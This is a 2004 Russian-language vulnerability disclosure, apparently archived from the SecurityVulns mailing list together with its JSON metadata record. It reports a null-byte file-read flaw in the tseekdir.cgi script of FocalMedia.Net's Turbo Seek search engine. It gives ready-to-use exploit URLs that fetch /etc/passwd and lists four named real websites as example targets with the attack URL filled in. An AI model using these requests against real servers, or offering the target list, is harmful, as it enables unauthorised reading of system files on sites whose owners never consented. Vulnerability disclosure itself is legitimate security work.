Description
Здравствуйте, 3APA3A.
нашел новую узвимость.
Просмотр файлов в Search Engine & Directory Powered by Turbo Seek от
FocalMedia.Net
Software / Application - Search Engine & Directory Powered by Turbo Seek
Problem-Type - удаленная
Vulnerability - возможность чтения файлов.
Vendor - FocalMedia.Net http://www.focalmedia.net
Risk / Severity - средний
Platforms - *.nix
Details / DESCRIPTION - Скрипт tseekdir.cgi не выполняет проверку на "null-byte
poison".
Exploit - http://www.xxx.com/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
http://www.xxx.com/cgi-bin/tseekdir.cgi?id=799&location=/etc/passwd%00
durito [durito@mail.ru] LwB Security Team [lwb57.org]
Copyright 2002-2004 by LwB Security Team. All rights reserved.
Пример:
http://www.uscomputer.net/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
http://www.micro2media.com/cgi-bin/turbo/tseekdir.cgi?location=/etc/passwd%00
http://www.clickonbanner.com/cgi-bin/search2/cgi/tseekdir.cgi?id=316&location=/etc/passwd%00
http://www.americanquality.com/cgi-bin/tseekdir.cgi?id=799&location=/etc/passwd%00
--
С уважением,
durito [LwB Security Team] mailto:durito@mail.ru
http://lwb57.org
http://durito.narod.ru
{"id": "SECURITYVULNS:DOC:6776", "bulletinFamily": "software", "title": "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 Search Engine & Directory Powered by Turbo Seek \u043e\u0442 FocalMedia.Net", "description": "\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439\u0442\u0435, 3APA3A.\r\n\r\n\u043d\u0430\u0448\u0435\u043b \u043d\u043e\u0432\u0443\u044e \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\r\n\r\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 Search Engine & Directory Powered by Turbo Seek \u043e\u0442\r\nFocalMedia.Net\r\n\r\nSoftware / Application - Search Engine & Directory Powered by Turbo Seek\r\nProblem-Type - \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u0430\u044f\r\nVulnerability - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432.\r\nVendor - FocalMedia.Net http://www.focalmedia.net\r\nRisk / Severity - \u0441\u0440\u0435\u0434\u043d\u0438\u0439\r\nPlatforms - *.nix\r\nDetails / DESCRIPTION - \u0421\u043a\u0440\u0438\u043f\u0442 tseekdir.cgi \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0430 "null-byte\r\npoison".\r\nExploit - http://www.xxx.com/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00\r\n http://www.xxx.com/cgi-bin/tseekdir.cgi?id=799&location=/etc/passwd%00\r\n\r\ndurito [durito@mail.ru] LwB Security Team [lwb57.org]\r\nCopyright 2002-2004 by LwB Security Team. All rights reserved.\r\n\r\n\u041f\u0440\u0438\u043c\u0435\u0440:\r\nhttp://www.uscomputer.net/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00\r\nhttp://www.micro2media.com/cgi-bin/turbo/tseekdir.cgi?location=/etc/passwd%00\r\nhttp://www.clickonbanner.com/cgi-bin/search2/cgi/tseekdir.cgi?id=316&location=/etc/passwd%00\r\nhttp://www.americanquality.com/cgi-bin/tseekdir.cgi?id=799&location=/etc/passwd%00\r\n\r\n\r\n-- \r\n\u0421 \u0443\u0432\u0430\u0436\u0435\u043d\u0438\u0435\u043c,\r\n durito [LwB Security Team] mailto:durito@mail.ru\r\nhttp://lwb57.org\r\nhttp://durito.narod.ru\r\n", "published": "2004-09-10T00:00:00", "modified": "2004-09-10T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:6776", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:10", "edition": 1, "viewCount": 39, "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:3980"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:3980"]}]}, "exploitation": null, "vulnersScore": -0.2}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645496279, "score": 1659803227}, "_internal": {"score_hash": "e9a67e76adfad967f714f13eb7052d65"}}
{}